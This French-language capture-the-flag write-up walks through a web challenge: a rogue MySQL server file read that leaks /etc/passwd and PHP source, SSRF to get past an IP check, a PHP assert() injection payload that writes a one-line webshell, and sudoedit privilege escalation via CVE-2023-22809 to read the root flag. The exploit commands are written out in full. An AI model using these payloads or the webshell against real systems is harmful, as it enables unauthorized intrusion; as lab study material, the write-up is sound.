3 minutes
[ESNA x Worty] Web - Worty is my cheat sheet
Introduction
Après la seconde place de l’ESNA au CTF Hack The Box University, nous nous sommes retrouvés avec plusieurs vouchers VIP inutilisé. Pour ne pas faire de gaspillage, Worty et Raccoon ont monté un petit ctf afin de faire gagner les vouchers.
How to easily bypass htaccess.
Pour cette première step on tombe sur une basic auth nous bloquant l’accès au site web. Après avoir essayé de bypass la basic auth pendant 1h j’ai checké le discord :
cat password_backup.txt
n = 27182620552013654529650369568565705748677788664051703513266337395733238092531875376829346079159553531457123241552276212754048764762797635636985153141836562181263670659187096790058296112802535209634384851308744617230046727673239246756952826924232293376061107683919851426832540778439598408277510744310544732957459849844992842925811561197892006975135616481557711186576487207986548862391841601897342637702244917677869425808610174878481560432102717330434682738133015928492136262931246958165047025992311590503274784010397877173897171306539670238221654690881938532539968726632926578906780554731266335133846058696129892487373
c = 22191733097656334441268894550966894763003962701992806393075496528993952967174413647251750076754977373902498755399169194303850560509655763776682540871791477225627505896256751452512106584484111970129639411732978383350049327064540545061771400998692603383267325046814250034587633909699306942830032698775809959654194391837301127502864751635257273516727765369322388708880846946172958917138105995807073004261089626890874309034746318223146659787721194274327239382018007819161170277785075758050241154877512783308279500090525969540211725582763797061251883840441293887160665599549949044245489628854997218046199341708747648984665
e = 64
Comme j’ai un gros niveau en crypto j’ai direct sorti mon meilleur tool :
(Attention, cette cascade a été réalisée par un professionnel, n’essayez surtout pas de la reproduire en CTF).
Arbitrary file read via rogue SQL.
Après avoir “trouvé” les creds on tombe directement sur un panel de configuration d’une base de données.
On comprend donc qu’il faut exploiter une rogue SQL :). J’ai utilisé un tool que j’ai trouvé sur github.
Petit test pour récupérer /etc/passwd
.
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
J’ai ensuite leak le source code de l’app.
<?php
if(isset($_POST["ip"]) && isset($_POST["username"]) && isset($_POST["password"]) &&
!empty($_POST["ip"]) && !empty($_POST["username"]) && !empty($_POST["password"]))
{
if(filter_var($_POST["ip"], FILTER_VALIDATE_IP))
{
if(strlen($_POST["username"]) < 50)
{
if(strlen($_POST["password"]) < 50)
{
try
{
$mysql = new mysqli($_POST["ip"], $_POST["username"], $_POST["password"]);
mysqli_options($mysql, MYSQLI_OPT_LOCAL_INFILE, true);
$mysql->query("SELECT version()");
$msgOk = "Database setup completed!";
}catch(Exception $e)
{
$msgError = "An unexcepted error happened.";
}
}else $msgError = "Password too long.";
}else $msgError = "Username too long.";
}else $msgError = "Invalid IP.";
}
else
{
if(isset($_GET['table']) && !empty($_GET['table']))
{
$res = filter_var($_SERVER["REMOTE_ADDR"], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
if($res === false)
{
$table = $_GET['table'];
assert("preg_match('/^[\w-]+$/','$table) === 1") or die('Only alphanumeric caracter are accepted to avoid sql injection.');
if(in_array($_GET["table"],["users","articles"])) //todo : replace this with a real connection to the database
{
$msgOk = "Yes, ".$_GET["table"]." is valid";
}
else
{
$msgError = "No.";
}
}
}
}
?>
Après un check rapide on remarque directement le assert, grâce à la version de php (X-Powered-By: PHP/5.6.40
) on comprend que assert est vulnérable à une injection de commande.
Cependant il reste un filtre à bypass.
$res = filter_var($_SERVER["REMOTE_ADDR"], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
if($res === false)
{
...
}
Il est possible d’utiliser des wrappers php (php://,file:// …)dans notre rogue SQL, on peut donc utiliser http:// pour faire une SSRF.
Exemple : python2 ../RogueSQL.py -f "http://127.0.0.1/index.php?table=users
Il ne reste plus qu'à crafter notre payload pour injecter dans le assert.
')===system('echo%20\'<?=\`\$_GET[0]\`;?>\'>/var/www/html/spz.php')||intval('1'"
Je peux maintenant upload mon webshell dans /var/www/html/.
python2 ../RogueSQL.py -f "http://127.0.0.1/index.php?table=users')===system('echo%20\'<?=\`\$_GET[0]\`;?>\'>/var/www/html/spz.php')||intval('1'"
Bingo on a notre RCE :).
Privesc
Notre utilisateur à des droits sudo :), en version 1.8.19p1.
On va exploiter la CVE-2023-22809.
export EDITOR="nano -- /root/flag.txt"
sudo /usr/bin/sudoedit /etc/hosts
Un petit challenge sympa, merci à Worty et Raccoon.